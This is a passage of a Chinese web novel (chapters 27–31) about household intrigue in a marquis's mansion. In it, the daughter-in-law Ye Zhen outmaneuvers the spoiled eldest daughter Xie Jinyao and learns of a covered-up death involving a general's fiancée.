可跟着逛了一路,肚子早就饿了,又是平日没吃过的好菜,下意识咽了咽口水。
叶桢似没看出她的窘迫,“报仇非一日之功,你能抗住不吃不喝多久?
我身边不养废人,若你饿坏了,对我没了用处,我便将你二哥的行踪告知大小姐。”
挽星起身将伍有米拉坐在身边,“吃吧,往后你便知道我家小姐是好人。”
她虽不知小姐为何要对伍家兄妹用强硬手段。
但在挽星心里,她家小姐人美心善,绝不是欺负孩子的人。
小姐这样做,定有这样做的道理。
伍有米可不认同挽星的话。
哪有好人动不动就威胁人的。
她眼泪在眼中打转,但她害怕叶桢真的让谢瑾瑶对付伍二。
只得颤颤巍巍拿起筷子,大口往嘴里扒饭。
一只鸡腿出现在碗里,叶桢面无表情,“大小姐身边的人嚣张得很,跟在我身边,偶尔你还得帮忙打打架。
只吃米饭不吃菜可没什么力气,如果你打不过,那我就……”
话没说完,伍有米一口咬掉了半只鸡腿,含糊道,“我听话,你别害我二哥……”
这个人好坏。
威胁二哥不得擅自行动,否则就杀了她。
现在又拿二哥要挟她。
果然权贵没几个好的。
这样想着,嘴里的鸡腿都带着一股苦味。
叶桢隐去眼里笑意,“看你表现。”
挽星也笑,就说她家小姐面冷心热,也往伍有米碗里夹了一块烧肉。
伍有米再不敢迟疑,之后无论挽星给她夹什么,她都吃得干干净净。
饭后,叶桢道,“你这个名字暂不能用,往后便叫朝露吧。”
清晨露珠,象征新生,希望他们兄妹能改变前世厄运。
伍有米也知自己得隐藏身份进侯府,因而点了点头。
出了酒楼,三人又一路直接逛到了金缕斋大门口。
谢瑾瑶还等着抓叶桢小辫子呢,没想到她并没偷偷摸摸走后门,而是大摇大摆出现在金缕斋正门。
且她那婢女还揉着腹部,一副吃太撑的样子。
计划落空,本就恼火,见此她刚歇下去的火气又蹭的上来了。
为了蹲守叶桢,她在马车等了大半日,午饭都没吃,叶桢他们倒是吃饱喝足。
简直太可恶了。
“叶桢,这是谁?”
谢瑾瑶留意到叶桢身边出现了个生面孔,难道这就是叶桢的帮手?
眼珠子一转,同婢女吩咐几句,便下了马车,走到叶桢跟前。
“你这还没当家,就想带穷亲戚入府打秋风不成?”
说话的功夫,她的婢女佯装脚下不稳,用力向朝露撞去。
谢瑾瑶想试探朝露有没有身手。
叶桢似现在才看到她,一把拉过朝露,欢喜道,“瑾瑶,你怎么也在这里?
朝露,这是忠勇侯府大小姐,快行礼。”
朝露被拉开,婢女没撞到人,一时刹不住,反倒自己摔了个狗吃屎。
很是狼狈。
叶桢吓了一跳,忙让挽星扶婢女起来,“瑾瑶,你这婢女摔得可不轻,可要让挽星陪她去医馆看看?”
谢瑾瑶听她一遍一遍喊自己的名字,恨不能堵着她的嘴,睨了婢女一眼,没用的东西。
婢女差事没办好,忙道,“婢子无事。”
叶桢赶在谢瑾瑶之前再次开了口,“还是去看看吧。
正好我想给娘家父母挑些礼物,可我极少进金缕斋这样高档的铺子,担心自己看不准,不敢买。
瑾瑶来了,刚好能帮我掌掌眼,你安心去医馆,我会替你照顾好你家小姐。”
她声音不小,很快引来了旁边几人的注意。
那几人都是京城官员家的小姐千金,在对面酒楼用饭后,正欲进金缕斋选些东西。
听了叶桢这话,视线便落在谢瑾瑶身上,见她带面纱,其中一人试探道,“谢瑾瑶?”
“你认错了。”
“是啊,你是瑾瑶的朋友吗?”
谢瑾瑶和叶桢异口同声。
那人是兵书侍郎之女苏燕婉,但她不是谢瑾瑶的朋友,而是叶晚棠的闺中密友。
平日没少被谢瑾瑶打压,故而对谢瑾瑶还算熟悉。
听了叶桢的话,再仔细打量谢瑾瑶也认出她来了。
想到什么,忽然笑道,“谢大小姐平日最是威风,今日怎的这般低调,连身份都不肯承认了。
莫不是也觉得谢二公子的事丢脸,不敢再出来见人?”
苏燕婉身边的另一千金也跟着笑道,“估摸着是如此,否则侯夫人怎的留在庄子,不回京呢。
定是觉得养出这么个儿子丢人,倒是谢大小姐脸皮要厚些。
哎,就是可惜了,家里出了这样一个哥哥,谢大小姐的亲事怕是很难如意咯。”
谢瑾瑶最不想发生的事,还是发生了。
既被认出来,她索性不装了,抽出腰间软鞭,“闭嘴,那人不是我二哥,再敢造谣,本小姐饶不了你们。”
几人见她这个时候,还这样嚣张,想到她平日爱用鞭子抽人,倒也不敢再起冲突。
谢瑾瑶又怒目看向叶桢,“你故意的。”
平日叶桢在府上像个闷葫芦,今日话格外多,她定是故意叫破她的身份,让她丢脸。
叶桢很无辜,“我不知道你不能见人。”
苏燕婉噗嗤笑出声,忍不住说了句,“就是,如果那人不是谢云舟,你又遮脸做什么?”
岂不是此地无银三百两。
“啪。”
鞭子抽在地上,谢瑾瑶觉得丢脸极了,怒道,“苏燕婉,再敢多说,第二鞭就会打在你身上。”
苏燕婉也是家里娇宠长大的,否则怎敢站在叶晚棠那边和谢瑾瑶作对。
又被谢瑾瑶当众下了脸面,也怒了,两人竟当街吵了起来。
叶桢似很害怕,忙让挽星回侯府通知忠勇侯。
而谢瑾瑶派去庄上的人,也带着侯夫人的主意寻来了金缕斋。
第27章 要打架吗,我不怕你
谢瑾瑶的心腹织云找到她时,她正和苏燕婉几人在金缕斋门口吵得不可开交。
贵女体面尽失。
织云顿感不妙。
她回来时,侯夫人拖着病体千叮咛万嘱咐让小姐不可再同往常那般任性,务必要在侯爷面前维持贵女知书达理,沉稳干练的一面。
如此,大小姐才有可能拿到全部掌家权。
可现在……
眼见谢瑾瑶说不过,又要动手,织云忙拦住她,低声将侯夫人的话转告给谢瑾瑶。
谢瑾瑶被愤怒冲走的理智,这才稍稍回转了些。
“哼,我懒得再与你计较,日后再让我听到你胡言乱语,我便请父亲问问兵部侍郎是如何教女儿的,竟将你教得这般长舌。”
她会听母亲的话,可她是受不得委屈的人,没吵赢,就想用父亲的官职压苏燕婉一头。
只有这样,她心里的气才能顺畅些。
但苏燕婉一个未出阁的女子,怎甘心落下一个长舌妇的名声。
“谢云舟的事,京城都传遍了,我不过是见你带着面纱出来,有些反常,就好奇问了句,你却朝我动鞭子。
所谓空穴不来风,你这样恼羞成怒,恰恰说明你心虚。”
她掩面哭泣,娇娇弱弱,一副被谢瑾瑶欺负了的委屈样子。
“自己家人做出那样的丑事,不去反省自身,反而在外行凶,是何道理。”
谢瑾瑶气极。
分明是苏燕婉这个贱人先挑衅她,如今却倒打一耙,她恨不得用鞭子抽死她。
偏这个时候叶桢出来打圆场,“好了,莫要再吵了,回家吧……”
“都怪你。”
谢瑾瑶见不得她这副老好人的模样,用力推开她。
若不是叶桢,苏燕婉怎么会认出她,又怎会有现在的事。
叶桢被推得一个踉跄,像是要摔倒,朝露及时扶住她。
朝露没想到叶桢说的是真的,跟在少夫人身边,真的需要打架。
她痛恨谢瑾瑶,因而撸起袖子怒目挡在叶桢面前,壮着胆子道,“你要打架,我不怕你。”
侯府的主子这样凶,大哥往日在侯府还不知道受了多少委屈。
她没打过架,但今日若是能揍到谢瑾瑶,就算死也值了。
谢瑾瑶见一个落魄丫头都敢和自己叫嚣,加之刚刚婢女试探没成功,她鞭子一挥,就向朝露和叶桢打去。
“混账!”
一声暴喝响起,忠勇侯抓住了鞭子。
叶桢护在朝露身后的手悄然放下,她老远便看见忠勇侯朝这边过来,故而才去劝诫谢瑾瑶。
她清楚谢瑾瑶的性子,必定会迁怒于她,而后侯爷就能看到她被谢瑾瑶打的场景。
这种招数侯夫人惯来爱使,叶桢学以致用用在她女儿身上,也算以牙还牙了。
倒是没想到朝露这样虎,叶桢自不能让她挨打。
忠勇侯沉着脸问谢瑾瑶,“你在做什么?”
昨日在府中对嫂子动手,嘴上说悔改,今日却又在外头打叶桢。
还与人当街吵架,堂堂侯府千金竟似乡间泼妇。
这些年,柳氏究竟是如何教导孩子的。
忠勇侯脸色难看至极。
谢瑾瑶虽察觉挽星离开,但她没想挽星竟敢找忠勇侯过来。
往日这些事母亲都是竭力瞒着父亲,故而她的意识里父亲从来不会管这些。
没想到他竟然来了。
被抓个现场,谢瑾瑶一时不知如何应对。
倒是织云反应很快,“侯爷,小姐今日来此是为给少夫人买礼物,不想被苏姑娘几人刁难。
小姐维护侯府声誉,这才与对方争辩起来。”
谢瑾瑶亦回神,“是啊,父亲,苏燕婉她们百般嘲讽,恶意挑衅,丝毫不将侯府放在眼里。
女儿身为侯府嫡小姐,怎能任由侯府尊严被践踏。”
无须她细述,忠勇侯也能猜到苏燕婉他们说了什么,无非是谢云舟的事。
他转身看向苏燕婉几人,“苏姑娘,本侯早已确认,那人并非我儿云舟。
而是易容成我儿,妄图行骗我侯府的江湖骗子。
若你有疑虑,本侯可请令尊带苏姑娘前往庄子,挖出那尸体,给苏姑娘看个明白。”
他嘴上对亲随说不必在意,心里又怎会当真不在意。
人活脸树活皮,若非他有战功加持,这些口水就能淹了侯府。
何况,外人每次议论,都是在唤醒他的丧子之痛。
苏燕婉敢和谢瑾瑶争吵,却没胆色在忠勇侯面前说什么,更不敢去挖什么尸体。
只得赔礼说自己关心则乱,而后寻了理由离开。
忠勇侯自持身份,不会同姑娘家为难,但心里打定主意,要敲打敲打她们的父亲。
孩子不听话,他往后会多加教导,却由不得外人欺负,自然,若女儿主动欺负人,他亦不会轻饶。
忠勇侯横了谢瑾瑶一眼,“回府。”
进了侯府大门,叶桢道歉,“父亲,对不起,我今日不该出门,也没能处理好此事。”
谢瑾瑶路上得了织云提点,委屈道,“二嫂,我好心想给你挑头面首饰,作为赔罪。
又不知你喜欢什么样的,想着让你自己选,可你进了金缕斋,那里头不少京城贵女,我不愿听他们的闲言碎语,就在门口等你出来,我们再去换个店。
但我等了大半日都不见你出来,又渴又饿,结果你一出现就喊我名字。
你明明看见我戴了面纱,便知我是不想被别人认出,最后闹成这个结果。
二嫂,你是不是还记恨我,故意想让我出丑,可我们是一家人,一荣俱荣,一损俱损啊。”
忠勇侯亦看了过来。
叶桢平静道,“瑾瑶误会了,我们往日不曾一同出过门,所以我不清楚你平日出门是否戴面纱。”
谢瑾瑶一噎,缺失她以前嫌叶桢丢脸,从不愿与她多接触。
叶桢继续道,“我幼时时常被附近的孩子骂做煞星,薄命鬼。
起初我与他们争辩,可我发现我越争辩,他们骂得越起劲。
后来我意识到什么时候出生,生在什么样的家族并非我能决定。
我自证只会给他们添乐趣,不理会他们,专心过好自己的生活,时日一久他们也觉得没意思。
流言就如同雾气,只要阳光足够强烈自会消散。”
她看向忠勇侯,“父亲,儿媳并非有意。
儿媳只是觉得不该因非己之错,弯了脊梁,儿媳无错,便要堂堂正正走在日头下。
但儿媳也有错,错在没明白瑾瑶心思,错在身为嫂子没有引导好小姑子,儿媳往后会注意的。”
谢瑾瑶瞪圆了眼睛。
叶桢这是什么意思,她还想教导她?
她哪里来的脸面,正欲开骂,被织云扯了扯衣袖。
第28章 大小姐的秘密是什么
谢瑾瑶立即想到侯夫人的叮嘱,咽下怒气。
“二嫂说的是,可瑾瑶生在侯府,长在侯府,实在见不得她们如此折辱侯府。”
言外之意,叶桢不在意侯府和谢云舟,才能说得那般冠冕堂皇。
叶桢却没再多言。
忠勇侯认真看了她一眼,他有些意外,叶桢的想法竟与他有些相似。
皇家那么多见不得人的事,为何世人不敢嘲讽议论,因为皇家足够强大,正如叶桢所言,日头足够强,雾气就会散。
当然,他没有任何觊觎皇权的意思,却一直以此鞭策自己。
可他的女儿却一点不懂这个道理,故而沉声斥谢瑾瑶,“可你今日闹的结果,便是给世人又添了佐茶的笑料。”
谢瑾瑶心头一惊,父亲竟这般维护叶桢了?
她忙认错,“是女儿错了。”
忠勇侯这次却没那么容易消气。
挽星来找他时,他正在书房看谢云舟往日做的课业,与先前柳氏给他看的策论水平简直天差地别。
他也查了柳氏名下的书肆,之前的确养了许多寒门学子,但三年前谢云舟假死后都遣散了。
真相如何,一目了然。
儿子连才学都是假的,那么女儿呢,她往日呈现在自己面前的乖巧知礼,又有几分真?
谢瑾瑶并非真的蠢,只是往日骄纵惯了,她在忠勇侯眼中看到了失望和怀疑。
忙跪下,哭道,“爹爹,女儿真的知道错了,得爹爹庇护,女儿无忧无虑长至今日。
突然面对府中诸多变故,女儿一时不知如何是好,伤心之下失了智。
女儿这就去跪祠堂反省,禁足府中不再出门,往后听从爹爹和二嫂教导,求爹爹原谅。”
她摇着忠勇侯的手,满目哀求,又带着着女儿对父亲的娇憨,“爹爹怎么罚瑶儿都成,只求爹爹不要不理瑶儿。”
这是女儿第一次这样跪在自己面前,忠勇侯沉沉叹了口气,“去跪吧。”
没再多说别的惩罚,面对孩子,他始终是心软的。
他又看向叶桢,“瑶儿往日被她母亲惯坏了,往后你多提点提点她。”
突然他话锋一转,“但她有句话说得很对,你们是一家人,荣辱与共。”
他并非看不出来叶桢对瑶儿的不喜,今日之事,叶桢又当真无辜吗?
“是,儿媳明白了。”
叶桢听出这是忠勇侯的敲打,恭敬回应。
忠勇侯便将视线看向朝露,叶桢解释,“她是我刚到京城认识的朋友,曾帮过我。
今日得知她和十四岁的兄长过得不如意,儿媳想着儿媳院中人手不多,便将她带来府中,签活契做个洒扫丫头。”
叶桢刚回京城,虽被叶家看得严,但也不是完全没出过门,因而不惧忠勇侯去查。
而忠勇侯决意让她管家,就不会连叶桢添个下人都干涉。
不过还是问了朝露,“叫什么,哪里人士?”
朝露很怕忠勇侯的强大气场,怯怯道,“我的名字不好听,少夫人说我往后叫朝露,是渝州人,前些年逃荒来的京城。”
“哦,多不好听?”
忠勇侯似来了兴趣。
朝露低头揪着衣角,“有米,奶说希望我以后都有米可吃。”
的确是很乡村的名字,一口一个我,显然也是不曾接触过权贵家中规矩。
叶桢对朝露的机灵很满意,她着重说名字不好听,因而忠勇侯会下意识忽略她的姓氏。
忠勇侯果然摆了摆手,没再发问,但回到书房后,却让人查了叶桢今日去向。
得知叶桢在金缕斋问了几次价,嫌太贵,就带着婢女从后门出去了。
再有行踪身边就多了那个叫朝露的丫头……
忠勇侯眸色幽暗,叮嘱亲随,“近些时日,多留意大小姐和少夫人动向。”
他不想看到今日之事再发生。
朝堂上的明争暗斗,军中下属的管束已耗去他不少心神,还有幼子要看顾,长子哪里也需得费神盯着。
他没有过多余力,再为女儿和儿媳之间的矛盾伤神。
另一头,叶桢三人也回了院子。
房门一关,挽星便拍了拍胸口,“小姐,吓死我了,我以为侯爷会收回你的管家权。”
在她看来,今日这一出,虽然让侯爷看到谢瑾瑶的不妥,但对小姐也不利。
至少在侯爷看来,小姐没有阻止谢瑾瑶发疯,也是失责。
难免会怀疑小姐是否有能力管家,又是否对侯府真心。
叶桢浅笑,“不会的。”
今日这出,是针对谢瑾瑶,但更是针对侯夫人柳氏。
昨晚叶桢打坐时突然想起一件很重要的事。
府里还有个老夫人在外头静养。
柳氏曾救过老夫人的命,被老夫人当做亲侄女养在身边多年。
原配夫人难产去世,忠勇侯又在外征战,是柳氏帮着老夫人照料刚出生的世子。
她是老夫人的救命恩人,也对世子有恩,因而老夫人很看重柳氏。
让她做了忠勇侯的续弦,并在她婚后第一年便将管家权给了她。
前世老夫人不曾回京,但今生柳氏失势,谢瑾瑶也被责罚,谢云舟的事又在外面传得难听,老夫人大抵不会坐视不管。
忠勇侯是孝子,若老夫人重新扶持柳氏,忠勇侯未必不会再给柳氏机会。
可若忠勇侯看到柳氏将孩子们全部教得不成样子,府中也管得乱七八糟。
那么,理智或许会压倒愚孝。
今日她虽表现不佳,但只要在老夫人回京前,让忠勇侯看到她管家的能力,以及柳氏的不堪,将来忠勇侯就不会轻易动摇。
她眸光转向了朝露,“你大哥知道了大小姐什么秘密,才会被灭口?”
说不得柳氏已向老夫人求救了,她也得快些动作。
朝露一愣。
她以为少夫人知道,所以才要利用他们兄妹对付大小姐。
原来她在诈他们。
这个人太狡猾了!
在朝露心里,叶桢不是好人的形象又加深了一分。
可她又想起,刚刚叶桢说,要给她签活契。
大哥说过,像高门大户要下人的话,一般都是签死契。
签了死契,下人的命就是主家的,主家可随意打杀甚至发卖,下人才会更忠心,这样主家用得也放心。
大哥就是死契,因而就算被随意打死,官府也不会管。
少夫人却没有这样做,可或许她这样并非好心,只是有别的目的。
朝露内心起了一丝挣扎。
她还年幼,也是被两个哥哥保护得太好,因而心思很容易被看穿。
叶桢递给她一碟子糕点,循循善诱,“朝露啊,如今你我已是一条船上的蚂蚱,告诉我,大小姐的秘密是什么?”
第29章 侯爷的父爱
“你什么意思?”
祠堂里,谢瑾瑶险些跳起来。
“你竟真的要我给叶桢送礼?”
她配吗?
“大小姐,您先别气,听奴婢说。”
织云安抚她,“这礼表面是送给叶桢,实际是送给侯爷看的。
大小姐,您想想侯爷从前可曾罚过您?”
谢瑾瑶不做声。
没有,连句重话都没有。
可今日父亲当众骂她混账,还罚跪了她。
织云乘胜追击,“若您再不笼络侯爷的心,侯爷的心就会越来越偏向叶桢。
到那时,夫人能不能回来另说,说不得连您的婚事,叶桢都能插手。
先不说叶桢的眼界能为您相看什么样的人家,就是她对您哪有好心?”
毕竟这些年侯夫人和大小姐对少夫人实在不算好,叶桢一朝得势如何能不报复?
“她敢!”
谢瑾瑶反驳,却没什么气势。
因为织云说的是事实,若母亲不能回府,叶桢是嫂子,又是侯府掌家人,父亲再偏信她的话,叶桢的确能对她的婚事动手脚。
思及此,谢瑾瑶坐不住了,“我给祖母去信。”
祖母最疼他们母子,不会任由叶桢欺负他们。
织云低语,“夫人已经给老夫人去信了,可是路途不近,老夫人年纪也大了,赶不得路。
在她回来之前,您还得靠自己渡过眼前的关,奴婢会替您整理些老旧的首饰……”
侯爷是男子,是公爹,不会细致到查看大小姐究竟送了叶桢什么。
谢瑾瑶也听明白话里的意思,同意是同意了,不过让织云寻些丫鬟婢女的旧物送去。
织云没觉得有何不妥,羞辱羞辱叶桢也好,让她明白自己真正的身份。
忠勇侯得知谢瑾瑶真的给叶桢送了头面首饰,心里宽慰不少。
孩子娇蛮归娇蛮,总归没坏彻底。
心里这般想,但也怕谢瑾瑶是做表面功夫。
“三餐定时给她送去,再送本《女戒》过去,让她抄一百遍。”
夜里,谢瑾瑶抄写的一部分便送到了忠勇侯面前。
一同送来的还有一张小纸条,纸条上画着两道背影。
男人高大伟岸,面朝日出,一手握着长枪,一手牵着头顶小揪揪的女娃。
小女娃则面向男人,配字,“瑶儿错了,瑶儿会好好反省,爹爹别生气好不好?”
忠勇侯看到这画,想起许多年前,他奉命到京城附近的城池办差,却要三日后赶回边境。
柳氏带着孩子在路上与他相聚,他们宿在山中庙里。
清晨他起来练枪,才四岁的女儿不知何时从房里溜了出来,糯叽叽的小脸满是孺慕地看着他。
那时,他只觉心都酥了,亦觉得愧疚,他半生不是守边疆就是沙场御敌,疏忽了孩子们。
柳氏教导失责,他这个父亲又何尝没有责任。
忠勇侯将纸条小心翼翼夹在珍藏的孤本里。
他去了祠堂。
从窗口看着谢瑾瑶跪得笔直,认真地抄写着《女戒》。
夜风吹入,她打了个寒战,忠勇侯心一紧,下意识就要去给她拿衣裳,生生忍住了。
在女儿彻底悔过之前,他不能心软,否则就是害了孩子。
站了许久,他又去了小儿子的院中。
却不知,他一走,谢瑾瑶就塌了腰,揉着手腕,满眸怨毒。
抄书的确可以让她收敛心神,因而让她想到了收拾叶桢的法子。
叶桢的梦华轩。
挽星嫌弃地看着织云送来的首饰,“小姐,这些是留下给侯爷看,还是拿去当掉?”
谢瑾瑶当真好意思,送这些破烂东西给小姐,有些坏得连打赏下人都拿不出手,这是折辱谁呢。
叶桢看了眼,淡淡道,“留两个可用的,其他的拿去当掉。”
能当多少是多少,再破再廉价也是钱,叶桢不会和钱过不去,更不会生气。
她和谢瑾瑶注定是仇人,为仇人生气不值得。
翌日,忠勇侯命管家送来了钥匙和对牌。
叶桢没急着见府中各管事,而是让管家将近三个月的账册送了过来。
这一日,她都在院中看账,不曾外出。
织云趁送餐的功夫,将这件事告诉了谢瑾瑶。
“奴婢瞧着少夫人应是不知如何下手。”
管理偌大一个侯府,可不是简单事。
“侯爷先前说,会派人教她,但今日只管家去送了东西便离开了。
奴婢想着侯爷约莫也是想摸摸她的底。
所以大小姐只要这次表现好,还是有很大机会的。”
儿媳再好,哪有女儿亲。
谢瑾瑶冷笑,“叶家不看重她,能让她习几个字就不错了,哪还会派人教她别的。”
新官上任三把火,叶桢穷人乍富,最该是显摆的时候。
她却躲在院中,只怕不是不想烧这火,而是烧不起来。
想到叶桢可能连账册都看不明白,谢瑾瑶心里很是快活。
她等着看叶桢的笑话。
将抄好的女戒还有画好的画像递给织云,“替我送去给父亲。”
忠勇侯的确是想探叶桢的底,他倒没什么恶意。
他是对叶桢这个儿媳不了解,不知她有几分能耐。
若先前叶祯推辞是谦虚,那就没必要再派人过去指手画脚。
若叶祯当真不会,自会开口。
假如叶桢不懂还不肯开口求助,只一昧乱来,那他便会考虑是否让她继续管家。
侯府需要掌家人,但也不是非叶桢不可。
结果叶桢什么举动都没有,的确让他也有些意外。
不过在他眼中,无论叶桢会不会,她都算是初掌家的新兵蛋子。
戎马半生的他对新兵素来有信心,故而没干涉。
看到谢瑾瑶再次送来的画像,忠勇侯的心又柔软了几分。
但他还是没松口终止谢瑾瑶的惩罚,依旧只是在暗处看了看女儿。
府中下人原本见侯爷让叶桢管家,又处罚了大小姐,以为侯府的天会变一变。
见叶桢没动静,反倒是侯爷连着两日都偷偷去看大小姐,下人们便觉得侯爷看重的还是大小姐,叶桢成不了气候。
也有和谢瑾瑶一样,觉得叶桢是没能耐,才没作为的,对叶桢更是多了几分轻视。
叶桢对此毫不在意,她将有问题的账册做了记号,又将犯事人的情况了解了下。
便让挽星和朝露将账册收好,打算洗漱安置了。
刑泽却出现在院中。
叶桢让准备的材料准备好了,谢霆舟请她过去做人皮面具。
第30章 谢霆舟的白月光
叶桢到的时候,谢霆舟正在写着什么。
听到脚步声,头也不抬,“地方已备好,刑泽会带你过去。”
“好。”
叶桢如常应了声,只当那晚警告的事不曾发生过,跟着刑泽到了隔间。
“二少夫人,东西都在这,您看看还需要什么?”
一样样仔细检查过,叶桢颔首,“这些便够了。”
话毕,便着手制作。
刑泽退出房间,守在了门口。
在他看来,叶桢有些神秘,又看到了主子的真容,他始终有些不放心。
叶桢知道他在身后,也没刻意避着,这门手艺她学了多年才有了以假乱真的本事。
并非看几眼就能偷师的。
她不会在人皮面具上做手脚,因而也不惧被盯梢。
一个时辰后,她净了手,“今日就这样了,明日我再来。”
刑泽便又领着她出去,路过谢霆舟时,他已搁了笔,手里拿了兵书在看。
叶桢停步,“叶桢想同兄长打听个人。”
“何人?”
叶桢在他对面坐下,“敢问兄长,侯爷底下可有姓贺的将领?”
谢霆舟这才将视线挪到叶桢脸上。
“打听他作甚?”
这便是有的意思了。
叶桢迎上他的目光,“兄长能否先告知我,那位贺姓将领的情况。
他年纪几何,哪里人士,可有婚配,家中还有什么人?”
刑泽和扶光对视一眼,少夫人问的怎么那么像是替人相看?
谢霆舟放下兵书,眸光深了深,“你这次要对付谁?”
他可不信叶桢这个时候,还有保媒的心思。
金缕斋门口发生的事,他当日就知道了,一想便知是小狐狸在算计谢瑾瑶。
她那样的身手,若不想被谢瑾瑶跟踪,谢瑾瑶连她的边都摸不到。
为了什么,他约莫也能猜到一二,柳氏害小狐狸在先,谢瑾瑶亦不是什么好东西,小狐狸要报复,他冷眼旁观,不做干预。
但眼下小狐狸竟打听起军中人,他心生警惕。
叶桢提壶为自己倒了杯茶水,忙了许久,她渴了。
喝了一口,方才道,“柳氏和谢瑾瑶,准确说算是伸张正义。”
朝露告诉她,伍大临死前,曾偷偷回过家。
他说谢瑾瑶在城外行侠仗义,结果错将无辜女子当作与人私奔的小妾,将其鞭打重伤,害那女子被六旬恶霸抓去折磨致死。
没想那女子的未婚夫竟是忠勇侯军中的,谢瑾瑶自知闯了祸,这才急急忙忙寻到侯夫人求助。
恰那日,除了冯嬷嬷和吴护卫这两个心腹,伍大也在,隐隐约约听到了不少。
伍大虽给侯夫人驾车,但算不上是她的心腹,因而探知这样的秘密,他很担心侯夫人灭口,便提前知会弟妹,若他出事,让他们迅速离京返回老家。
可兄妹俩与伍大感情深厚,又初生牛犊不怕虎,想为伍大报仇。
却只知那女子的未婚夫姓贺,其余一概不知。
忠勇侯手握十万兵权,麾下将士无数,朝露两人只是寻常百姓,想打听那女子的未婚夫是谁,几乎没可能。
便是叶桢也只能来问谢霆舟。
贺姓很常见,但她根据谢瑾瑶和侯夫人对此事的反应,推测那人应是个将领。
谢霆舟眼眸微敛,突然往椅上一靠,摘了面具丢置一旁,“可以告诉你,不过本世子饿了。
上回你给姨祖母送的素蟹粉不错,吃饱了本世子才有力气说话。”
叶桢有求于人,做道素斋不是难事,只是眼下夜里府中未必有那些食材。
可很快她发现自己多虑了。
墨院这两日竟悄无声息弄了小厨房,小厨房里食材应有尽有。
叶桢心里的疑惑又生了出来。
他这是不信任侯府膳食?这般警惕,他到底是谁?
素蟹粉端到谢霆舟面前时,她不由观察他的用餐举止。
他吃得不算慢,却动作优雅从容,喉结轻动而不闻吞咽之声,很是矜贵。
莫非他本也是世家大族里的公子?
谢霆舟冰冷的声音飘来,“上一个这般盯着本世子的人,坟头草比你还高。”
他眼中杀意毫不掩饰,甚至还带着点嫌恶,被人盯视的嫌恶。
换作别的姑娘,不是吓得要死,就是羞愤欲死。
可叶桢只是抿了抿耳边垂落的发丝,落眸未置一词。
她在想自己的心事。
倒是谢霆舟又开口了,“这素蟹粉你和谁学的?”
竟和他当年吃过的味道一模一样,可他是在边境吃的,而叶桢养在南边。
且当年救他的姑娘比如今的叶桢还略高一些,声音也不同……
叶桢何其精明,她反应过来,“这道素斋对兄长有意义?”
说什么饿了没力气说话,大半夜的食材齐全,眼下又这般问,只怕是早就动了让她下厨的准备。
谢霆舟却放下勺子,嗤笑一声,“你倒是会给自己贴金,不过是觉得略合胃口罢了,本世子这人有个怪癖,白白帮人总觉得心里不舒坦。”
寻了多年的人,对他来说自然意义非凡,只这些不必对叶桢说。
叶桢暗自翻了个白眼,竟是这样。
“庄子附近有个庵堂,我常去玩,看多了自然就会了。
这样的素斋寻常庙宇都会做,兄长要是喜欢,初一十五可多往庙里走走。”
谢霆舟却摇头,“味道不同,这个香。”
叶桢想了想,“兄长先前去过的庙宇,可是北地的?”
谢霆舟颔首。
“那许是所用的油不同,南方多产菌子,菌油使用广泛。
我长在南边,习惯使然见灶房有菌油,便用了些。”
叶桢笑,笑意却不达眼底。
她倏然想起,多年前,她乔装去边境,却在那里救下一个重伤的男子。
刺客穷追不舍,个个武艺高强,叶桢只得将男子藏在寺庙的杂物间。
她则凭一手素斋手艺混进寺庙灶房做事,夜深人静时,就给男子送一碗素蟹粉。
两人相处半月有余,少女情窦初开,男子却悄然离去,还将素蟹粉留作证据。
害她被那些刺客追杀了两月有余,直到饮月带人寻来,与她合力绞杀所有知晓她救人的刺客,她才得以安生。
不过,那男子也得了报应,叶桢亲眼看见他的尸身被人烧毁。
于叶桢来说,这实在不是什么好的回忆。
故而不愿多想,重提自己的正事,“兄长现在可有力气告知我贺将来的情况?”
谢霆舟想到菌油这种东西的确在南方盛行,或许当年那姑娘是南方人,心里打定主意让人往南边寻。
嘴上回了叶桢的话。
“贺铭,二十一,家在京城郊区,有一未婚妻,但听闻那未婚妻贪图富贵,做了六旬员外的妾室,害得员外死于马上风,被员外夫人沉塘。”
叶桢衣袖下的手紧了紧。
对上了。
果然是个将领。
怪不得谢瑾瑶会害怕,怪不得侯夫人不惜灭口。
所谓马上风,定也是侯夫人为遮掩真相所为。
略一思忖,她将事情告知了谢霆舟。
谢霆舟眸中冰寒,“此事当真?”
叶桢点头。
起先,她察觉谢霆舟对柳氏和谢瑾瑶冷漠,以为他是要扮演真正的世子,故意如此。
自从见他将世子的画像画得那般逼真,府中又无人疑心谢霆舟的身份。
她便知两人关系匪浅,谢霆舟十分熟悉真正的世子,故而才能冒充得天衣无缝。
有了这个认知后,再细想谢霆舟对柳氏母女的态度,叶桢有了自己的结论。
谢霆舟恨柳氏母女,因而放纵叶桢的复仇。
原因不难猜,柳氏那样的人,怎可能待继子真心。
谢霆舟是替真正的世子不平,这更加能证明两人关系不差。
所以她不惧将此事透露给他。
谢霆舟观叶桢神色,便知自己对柳氏母女的情绪暴露了。
不由生了一丝防备,叶桢比他想的还聪慧。
他收敛情绪,问道,“你想怎么做?”
第31章 谢瑾瑶的诡计
叶桢回到自己的院子时,已是深夜,洗漱完便睡下了。
第二日用过早饭,她让管家将十几个大管事全部叫去她的院中。
叶桢在屋里未出,而是让管事们一个个进去单独问话。
等所有管事谈完话,一日便过去大半,叶桢依旧没有动作。
却在第二日一大早,就带着挽星和朝露出了门,连车夫都没用,挽星驾车,到天黑才归。
第三日又是如此。
而谢瑾瑶终于用一张张画像打动了忠勇侯,在这一日得到赦免,回了自己的院子。
她听下人们说起叶桢这几日的举动,心下好奇叶桢究竟和管事们说了什么。
便命人找来两个侯夫人的心腹管事,两个管事都说叶桢只是详细问了他们平日的差事。
谢瑾瑶高高在上惯了,笃定管事们不敢同她撒谎。
便越发觉得叶桢不会管家,才需要同府中管事们取经。
这几日外出,只怕也是寻人求助去了。
心中嘲笑不已,觉得自己胜算更大,因而都顾不上休息,就去了谢澜舟的院子。
她知道忠勇侯这些日子都会来看谢澜舟,让父亲看到她是个爱护、牵挂幼弟的好姐姐,定能又挽回几分父亲的疼爱。
谢瑾瑶想要乘胜追击。
如她所料,忠勇侯得知女儿出了祠堂,便来看望弟弟,老怀欣慰。
他到的时候,谢瑾瑶正耐心地教谢澜舟叠纸船,一大一小两道身影映入眼中,忠勇侯眼里的慈爱都快溢出来了。
“爹爹。”
谢澜舟看见他,满心欢喜。
没了母亲在身边,这几日得忠勇侯全心陪伴,他对忠勇侯少了惧意,多了亲昵。
见他来,就跑到他身边,一把抱住他的大腿,仰着头兴奋道,“爹爹,姐姐教我叠了纸船,但我更想爹爹带澜儿骑大马。”
